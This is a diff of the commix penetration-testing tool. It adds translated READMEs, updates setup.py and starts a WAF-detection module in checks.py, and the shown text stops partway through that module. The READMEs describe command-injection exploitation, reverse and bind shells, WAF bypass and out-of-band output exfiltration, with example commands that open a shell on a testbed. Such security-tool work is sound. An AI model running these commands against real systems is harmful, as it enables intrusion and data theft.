+* **Targets σε κάθε μορφή** – URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request ή piped `stdin` – δείτε [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Resumable και scriptable** – [session files ανά target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), output σε JSON/CSV/HAR, επαναχρησιμοποιήσιμα profiles επιλογών, το `--proof`, που επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα, και ένα [REST API](https://github.com/commixproject/commix/wiki/API) για να τρέχεις scans από αλλού.
+* **Unix-like και Windows** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI back ends – δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads.
+
+
## Εγκατάσταση
Μπορείτε να κατεβάσετε το commix σε κάθε πλατφόρμα κάνοντας κλώνο το επίσημο Git αποθετήριο:
@@ -23,20 +52,42 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]
Εναλλακτικά, μπορείτε να κατεβάσετε την τελευταία [tarball](https://github.com/commixproject/commix/tarball/master) ή [zipball](https://github.com/commixproject/commix/zipball/master).
-*__Σημείωση:__ H **[Python](http://www.python.org/download/)** (έκδοση **2.6**, **2.7** ή **3.x**) απαιτείται για την εκτέλεση του commix.*
+> [!NOTE]
+> H **[Python](https://www.python.org/downloads/)** (έκδοση **3.7** ή νεότερη) απαιτείται για την
+> εκτέλεση του commix. Όλες οι υπόλοιπες εξαρτήσεις συνοδεύουν το πρόγραμμα, οπότε δεν απαιτείται
+> κανένα επιπλέον βήμα εγκατάστασης.
## Χρήση
Για να λάβετε μια λίστα με όλες τις επιλογές και τους διακόπτες πατήστε:
- $ python commix.py -h
+ $ python3 commix.py -h
-Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-Examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki σελίδες.
+Έλεγχος μιας ευπαθούς παραμέτρου και άμεση πρόσβαση σε κέλυφος στον στόχο :
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+
+Απόδειξη εκτέλεσης εκτός ζώνης, όταν η απόκριση δεν επιστρέφει τίποτα :
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+
+> [!NOTE]
+> Ο client επιλέγεται βάσει του τι διαθέτει ο στόχος, οπότε ένα μηχάνημα χωρίς τους συνηθισμένους
+> HTTP clients παραμένει προσβάσιμο – ορίστε έναν με την `--oob-transport` όταν η εξερχόμενη
+> κίνησή του είναι ήδη γνωστή. Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί
+> από προεπιλογή τον δημόσιο διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των
+> αλληλεπιδράσεων με τον στόχο σας φεύγουν από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική
+> σας εγκατάσταση, ώστε να παραμείνουν εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) στο wiki.
+
+Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο :
+
+ $ python3 commix.py -m targets.txt --batch --report-json=results.json
+
+Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki σελίδες.
## Σύνδεσμοι
* Εγχειρίδιο χρήστη: https://github.com/commixproject/commix/wiki
* Παρακολούθηση προβλημάτων: https://github.com/commixproject/commix/issues
-
diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md
new file mode 100644
index 0000000000..e6518d6ede
--- /dev/null
+++ b/doc/translations/README-idn-IDN.md
@@ -0,0 +1,96 @@
+
+
+**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command](https://owasp.org/www-community/attacks/Command_Injection)** (dan **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection.
+
+
+
+Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki.
+
+> [!IMPORTANT]
+> **Proyek ini sedang dalam pengembangan aktif.** Perubahan yang dapat merusak kompatibilitas
+> mungkin terjadi antar revisi. Periksa
+> [catatan perubahan](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) sebelum
+> memperbarui.
+>
+> Commix terutama dibuat untuk digunakan sebagai alat baris perintah mandiri, dan alat ini
+> menjalankan perintah sistem operasi pada target yang diujinya. **Menjalankan commix sebagai sebuah
+> layanan dapat menimbulkan risiko keamanan.** Gunakan dengan hati-hati, dan hanya terhadap sistem
+> milik Anda sendiri atau yang Anda memiliki izin tertulis untuk mengujinya.
+
+## Fitur
+
+* **Empat teknik injeksi** - results-based, boolean-based, time-based dan file-based, dipilih dengan `--technique` atau berdasarkan tipe yang mereka laporkan dengan `--type` - lihat [techniques](https://github.com/commixproject/commix/wiki/Techniques) untuk apa yang dituntut masing-masing dari sebuah target.
+* **Out-of-band, ketika tidak ada yang kembali** - `--oob` membuktikan eksekusi dan membawa keluaran perintah melalui HTTP/S atau DNS, mencapai server lewat klien apa pun yang kebetulan dimiliki target - lihat [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) untuk klien yang dicoba dan cara menetapkan salah satunya.
+* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, PowerShell, Perl, atau Lua, dengan teknik yang sama.
+* **Di mana pun masukan mendarat** - parameter GET/POST, [header HTTP dan cookie](https://github.com/commixproject/commix/wiki/Usage#request-options), body JSON/XML/GraphQL, serta modul `shellshock` untuk target CGI.
+* **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya.
+* **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+* **Target dalam bentuk apa pun** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, permintaan HTTP mentah, atau masukan `stdin` - lihat [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Dapat dilanjutkan dan diskripkan** - [berkas sesi per target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), keluaran JSON/CSV/HAR, profil opsi yang dapat digunakan kembali, `--proof`, yang membuktikan kembali setiap temuan dengan percobaannya sendiri, dan sebuah [REST API](https://github.com/commixproject/commix/wiki/API) untuk menjalankan pemindaian dari tempat lain.
+* **Unix maupun Windows** - back-end PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI - lihat
+[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance)
+untuk perbedaan muatannya.
+
+## Instalasi
+
+Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git:
+
+ $ git clone https://github.com/commixproject/commix.git commix
+
+Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru.
+
+> [!NOTE]
+> **[Python](https://www.python.org/downloads/)** (versi **3.7** atau lebih baru) diperlukan untuk
+> menjalankan commix. Semua dependensi lainnya sudah disertakan, sehingga tidak diperlukan langkah
+> instalasi tambahan.
+
+
+## Penggunaan
+
+Untuk mendapatkan daftar semua opsi dan beralih gunakan:
+
+ $ python3 commix.py -h
+
+Menguji satu parameter yang dapat diinjeksi, lalu masuk ke shell pada target:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+
+Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa pun:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+
+> [!NOTE]
+> Klien dipilih berdasarkan apa yang dimiliki target, sehingga mesin tanpa klien HTTP yang biasa pun
+> tetap terjangkau - tetapkan salah satu dengan `--oob-transport` bila jalur keluarnya sudah
+> diketahui. Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh
+> publik `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan
+> `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan
+> lengkap, lihat halaman
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) di wiki.
+
+Memindai daftar target tanpa pengawasan dan menyimpan hasilnya ke sebuah berkas:
+
+ $ python3 commix.py -m targets.txt --batch --report-json=results.json
+
+Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** halaman wiki.
+
+
+## Link
+
+* Panduan : https://github.com/commixproject/commix/wiki
+* Pelacak masalah : https://github.com/commixproject/commix/issues
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
new file mode 100644
index 0000000000..5da5ff488d
--- /dev/null
+++ b/doc/translations/README-tr-TR.md
@@ -0,0 +1,97 @@
+
+
+**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut](https://owasp.org/www-community/attacks/Command_Injection)** (ve **[kod](https://owasp.org/www-community/attacks/Code_Injection)**) enjeksiyonu güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır.
+
+
+
+Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz.
+
+> [!IMPORTANT]
+> **Bu proje aktif geliştirme aşamasındadır.** Sürümler arasında geriye dönük uyumluluğu bozan
+> değişiklikler olabilir. Güncellemeden önce
+> [değişiklik günlüğünü](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md)
+> inceleyin.
+>
+> Commix öncelikle bağımsız bir komut satırı aracı olarak kullanılmak üzere tasarlanmıştır ve test
+> ettiği hedeflerde işletim sistemi komutları çalıştırır. **Commix'i bir servis olarak çalıştırmak
+> güvenlik riskleri doğurabilir.** Dikkatli kullanılması ve yalnızca size ait olan ya da test etmek
+> için açık yetkiye sahip olduğunuz sistemlerde kullanılması önerilir.
+
+## Özellikler
+
+* **Dört enjeksiyon tekniği** - results-based, boolean-based, time-based ve file-based; `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir - her birinin hedeften ne istediği için bkz. [techniques](https://github.com/commixproject/commix/wiki/Techniques).
+* **Hiçbir şey geri dönmediğinde out-of-band** - `--oob` yürütmeyi kanıtlar ve komutun çıktısını HTTP/S ya da DNS üzerinden geri taşır; sunucuya hedefte hangi istemci varsa onunla ulaşır - hangilerini denediği ve nasıl sabitleneceği için bkz. [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client).
+* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript, PowerShell, Perl veya Lua olarak, aynı tekniklerle sınar.
+* **Girdi nereye düşerse** - GET/POST parametreleri, [HTTP başlıkları ve çerezler](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü.
+* **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir.
+* **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+* **Her biçimde hedef** - bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP isteği veya `stdin` girdisi - bkz. [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Devam ettirilebilir ve betiklenebilir** - [hedef bazında oturum dosyaları](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR çıktısı, yeniden kullanılabilir seçenek profilleri, her bulguyu kendi deneyiyle yeniden kanıtlayan `--proof` ve başka bir yerden tarama başlatmak için bir [REST API](https://github.com/commixproject/commix/wiki/API).
+* **Unix benzeri ve Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI arka uçları - yüklerin nasıl farklılaştığı için bkz.
+[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance).
+
+## Kurulum
+
+Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz :
+
+
+ $ git clone https://github.com/commixproject/commix.git commix
+
+Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz.
+
+> [!NOTE]
+> Commix'i çalıştırmak için **[Python](https://www.python.org/downloads/)** (sürüm **3.7** veya
+> üzeri) gereklidir. Diğer tüm bağımlılıklar programla birlikte gelir, bu nedenle ek bir kurulum
+> adımına gerek yoktur.
+
+
+## Kullanım
+
+Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin:
+
+ $ python3 commix.py -h
+
+Tek bir enjekte edilebilir parametreyi test edip hedefte bir kabuk açmak için:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+
+Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı yöntemle kanıtlamak için:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+
+> [!NOTE]
+> İstemci, hedefte ne varsa ona göre seçilir; bu yüzden alışılmış HTTP istemcilerinden yoksun bir
+> makine de erişilebilir kalır - çıkış trafiği zaten biliniyorsa `--oob-transport` ile birini
+> sabitleyin. `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun`
+> interactsh sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın
+> dışına çıkar.
+> Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı
+> rehber için wiki'deki
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) sayfasına bakın.
+
+Bir hedef listesini gözetimsiz taramak ve sonuçları bir dosyaya yazmak için:
+
+ $ python3 commix.py -m targets.txt --batch --report-json=results.json
+
+Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki sayfalarını ziyaret edebilirsiniz.
+
+
+## Linkler
+
+* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki
+* Sorun takibi: https://github.com/commixproject/commix/issues
diff --git a/setup.py b/setup.py
index a13aa90fcb..3f170c77fd 100644
--- a/setup.py
+++ b/setup.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.3',
+ version='4.2.dev',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
@@ -29,21 +29,33 @@
'Tracker': 'https://github.com/commixproject/commix/issues',
},
license='GNU General Public License v3 (GPLv3)',
- packages=find_packages(),
+ python_requires='>=3.7',
+ # The data files live beside the code rather than inside it, so they are named here to be
+ # installed along with it.
+ # The suite is run from a checkout, not from an install, so it is left out of the package.
+ packages=find_packages(exclude=["tests"]) + ["data", "data.txt"],
include_package_data=True,
+ package_data={"": ["*.txt"], "data.txt": ["*.txt", "*.tx_"]},
zip_safe=False,
classifiers=[
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
'Natural Language :: English',
'Operating System :: OS Independent',
- 'Programming Language :: Python',
+ 'Programming Language :: Python :: 3',
+ 'Programming Language :: Python :: 3.7',
+ 'Programming Language :: Python :: 3.8',
+ 'Programming Language :: Python :: 3.9',
+ 'Programming Language :: Python :: 3.10',
+ 'Programming Language :: Python :: 3.11',
+ 'Programming Language :: Python :: 3.12',
'Environment :: Console',
'Topic :: Security',
],
entry_points={
'console_scripts': [
- 'commix = src.core.main:entry_point'
+ 'commix = src.core.main:entry_point',
+ 'commixapi = src.utils.api:entry_point'
]
},
)
diff --git a/src/__init__.py b/src/__init__.py
index b50e6972c9..ca8037d413 100644
--- a/src/__init__.py
+++ b/src/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -13,4 +13,6 @@
For more see the file 'readme/COPYING' for copying permission.
"""
-pass
\ No newline at end of file
+pass
+
+# eof
diff --git a/src/core/__init__.py b/src/core/__init__.py
index b50e6972c9..ca8037d413 100644
--- a/src/core/__init__.py
+++ b/src/core/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -13,4 +13,6 @@
For more see the file 'readme/COPYING' for copying permission.
"""
-pass
\ No newline at end of file
+pass
+
+# eof
diff --git a/src/core/compat.py b/src/core/compat.py
index 2db6ac6049..e5e6924a7b 100644
--- a/src/core/compat.py
+++ b/src/core/compat.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -18,4 +18,6 @@
if sys.version_info >= (3, 0):
xrange = range
else:
- xrange = xrange
\ No newline at end of file
+ xrange = xrange
+
+# eof
diff --git a/src/core/controller/__init__.py b/src/core/controller/__init__.py
new file mode 100644
index 0000000000..ca8037d413
--- /dev/null
+++ b/src/core/controller/__init__.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+pass
+
+# eof
diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py
new file mode 100644
index 0000000000..8fdec43154
--- /dev/null
+++ b/src/core/controller/checks.py
@@ -0,0 +1,8647 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import io
+import re
+import codecs
+import difflib
+import os
+import sys
+import json
+import time
+import shlex
+import socket
+import random
+import string
+import threading
+import base64
+import importlib
+import gzip
+import zlib
+import subprocess
+import contextlib
+import statistics
+import tempfile
+from glob import glob
+from src.utils import common
+from src.utils import logs
+from src.utils import version
+from src.utils import crypt_algos
+from src.utils import jwt_audit
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.thirdparty.odict import OrderedDict
+from src.core.requests import headers
+from src.core.requests import requests
+from src.core.requests import parameters
+from src.core.requests import stability
+from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.six.moves import http_client as _http_client
+from src.thirdparty.six.moves import html_parser as _html_parser
+from src.thirdparty.colorama import Style, Fore
+from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list
+
+try:
+ if settings.PLATFORM == "mac":
+ import readline
+ if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
+ import gnureadline as readline
+ else:
+ import readline
+except ImportError:
+ try:
+ import pyreadline as readline
+ except ImportError:
+ # Bound all the same: what reaches for it later then fails as a missing attribute, which the
+ # callers already catch, rather than as a name that was never defined at all.
+ readline = None
+ settings.READLINE_ERROR = True
+
+"""
+Exiting, with the code the run ended on - which is how a caller tells an error from a finished run.
+"""
+def exit(code=0):
+ # Said before the line that closes the run, so it is the last thing about the run itself.
+ version.announce_if_outdated()
+ if settings.VERBOSITY_LEVEL != 0:
+ settings.print_data_to_stdout(settings.execution("Ending"))
+ # Nothing runs after the line below, so the report is settled before it.
+ logs.finalize_report(code if isinstance(code, int) else 0)
+ os._exit(code if isinstance(code, int) else 0)
+
+"""
+Persist a new WAF/IPS finding when possible; defer the import to avoid a circular dependency.
+"""
+def persist_waf_finding():
+ if menu.options.ignore_session or not settings.TARGET_NETLOC:
+ return
+ from src.utils import session_handler
+ session_handler.import_waf_status(settings.TARGET_NETLOC, True)
+
+"""
+Matches a blocked response's headers and body against known WAF/CDN product signatures, so the
+target can be named rather than spoken of in general terms. Tried once, the first time a block is
+seen - 'detect_waf' only reaches here before 'settings.WAF_ENABLED' is set.
+"""
+def identify_waf(err):
+ try:
+ blob = str(getattr(err, "headers", "")) + str(err.read())
+ except Exception:
+ return None
+ return identify_waf_in_text(blob)
+
+"""
+Matches text (a response body, or a blocked response's headers-and-body) against known WAF/CDN
+product signatures, from 'settings.WAF_SIGNATURES'.
+"""
+def identify_waf_in_text(text):
+ for name, regex in settings.WAF_SIGNATURES.items():
+ if re.search(regex, text or ""):
+ return name
+ return None
+
+"""
+Flags the target as WAF/IPS-protected on a block-like HTTP status code.
+"""
+def detect_waf(err):
+ err_code = getattr(err, "code", None)
+ if str(err_code) in settings.WAF_BLOCK_HTTP_CODES and \
+ not menu.options.skip_waf and \
+ not settings.HOST_INJECTION:
+ if not settings.WAF_ENABLED:
+ settings.WAF_IDENTIFIED = identify_waf(err)
+ if settings.WAF_IDENTIFIED:
+ warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target."
+ else:
+ warn_msg = "It seems some kind of WAF/IPS is protecting the target."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.WAF_ENABLED = True
+ persist_waf_finding()
+ else:
+ # Already evading and still blocked, so what is in use is not enough.
+ escalate_waf_evasion()
+ return True
+ return False
+
+"""
+Whether what came back is the protection's own page rather than the application's.
+
+The probe above carries an obvious attack, so a target that filters at all answers it with
+something other than its own page. Where that answer is a status code, 'detect_waf' already has
+it; where the filter answers in-band - its own short refusal, served as a 200, with the
+application below never reached - nothing reading the code alone sees anything wrong, and the run
+goes on sending payloads that were refused before the sink was reached.
+
+Read as a ratio against what an ordinary request was answered with, rather than as a pattern:
+what a refusal says is written by whoever wrote the filter, and the one thing every one of them
+has in common is that it is not the page that was there before.
+"""
+def detect_waf_in_page(response):
+ if settings.WAF_ENABLED or menu.options.skip_waf or settings.HOST_INJECTION:
+ return False
+ if response is None or isinstance(response, bool) or not settings.WAF_CHECK_BASELINE:
+ return False
+ from src.core.requests import requests
+ requests.capture_original_page(response)
+ page = settings.ORIGINAL_PAGE
+ if not page or page == settings.WAF_CHECK_BASELINE:
+ return False
+ if page_ratio(settings.WAF_CHECK_BASELINE, page) >= settings.WAF_CHECK_RATIO:
+ return False
+ settings.WAF_IDENTIFIED = identify_waf_in_text(page)
+ if settings.WAF_IDENTIFIED:
+ warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target."
+ else:
+ warn_msg = "It seems some kind of WAF/IPS is protecting the target, answering in-band."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.WAF_ENABLED = True
+ persist_waf_finding()
+ return True
+
+"""
+Detection of WAF/IPS protection.
+"""
+def check_waf(url, http_request_method):
+ payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD)
+ info_msg = "Checking whether some kind of WAF/IPS is protecting the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if settings.VERBOSITY_LEVEL >= 1:
+ # Shown the way it was written, as every other payload is - what goes on the wire is encoded,
+ # and that is what the traffic at '-v 2' shows.
+ settings.print_data_to_stdout(settings.print_payload(settings.WAF_CHECK_PAYLOAD))
+ payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload
+ if not "?" in url:
+ payload = "?" + payload
+ else:
+ payload = settings.POST_DATA_PARAM_DELIMITER + payload
+ url = url + payload
+ if settings.USER_DEFINED_POST_DATA:
+ request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method)
+ else:
+ request = _urllib.request.Request(remove_tags(url), method=http_request_method)
+ headers.do_check(request)
+ return request, url
+
+"""
+Check injection technique(s) status.
+"""
+def injection_techniques_status():
+ if settings.RESULTS_BASED_STATE is not True and \
+ settings.EVAL_BASED_STATE is not True and \
+ settings.BOOLEAN_BASED_STATE is not True and \
+ settings.TIME_BASED_STATE is not True and \
+ settings.FILE_BASED_STATE is not True and \
+ settings.TEMPFILE_BASED_STATE is not True and \
+ settings.OOB_STATE is not True :
+ return False
+ else:
+ return True
+
+# The state flag each technique's confirmation set - needed to roll one back if the final check below finds it was a false positive.
+_STATE_BY_TECHNIQUE = {
+ settings.INJECTION_TECHNIQUE.RESULTS_BASED: "RESULTS_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: "EVAL_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: "BOOLEAN_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.TIME_BASED: "TIME_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.FILE_BASED: "FILE_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: "TEMPFILE_BASED_STATE",
+ settings.INJECTION_TECHNIQUE.OOB: "OOB_STATE",
+}
+
+"""
+The techniques whose confirmation is read off the target rather than carried by the payload.
+
+A page that reads one way for a true condition and another for a false one, or that answers slower
+than it did before, is evidence about the target's own behaviour - which a flaky page, a loaded
+network or a coincidence can imitate, so it is worth asking a second time before it is believed.
+
+The rest prove themselves by what came back: a six-character tag this run invented, written to a
+file and then fetched out of the web root, or a hostname only this run knows being resolved, is not
+something a target produces without having run the command. Re-asking those adds nothing, and the
+litmus it re-asks with - built on 'test', '$?' and '$((...))' - is itself blocked by a filter on
+'-' or '$', so asking it of a finding that already proved itself can only take a true one back.
+"""
+_INFERRED_TECHNIQUES = (
+ settings.INJECTION_TECHNIQUE.BOOLEAN_BASED,
+ settings.INJECTION_TECHNIQUE.TIME_BASED,
+ # The tag it writes is read back by a command of its own and weighed as a page, never fetched:
+ # the file is written where the file-based technique could not reach the web root, so there is no
+ # URL to ask for it through. What proves it is a difference between two pages, same as the two
+ # above, and a page that moves on its own can produce one without the command having run.
+ settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED,
+)
+
+"""
+One last check of the parameter as a whole, once every applicable technique has already had its own
+turn - a result-based or dynamic-code finding is an echoed value and is left as it stands, but a
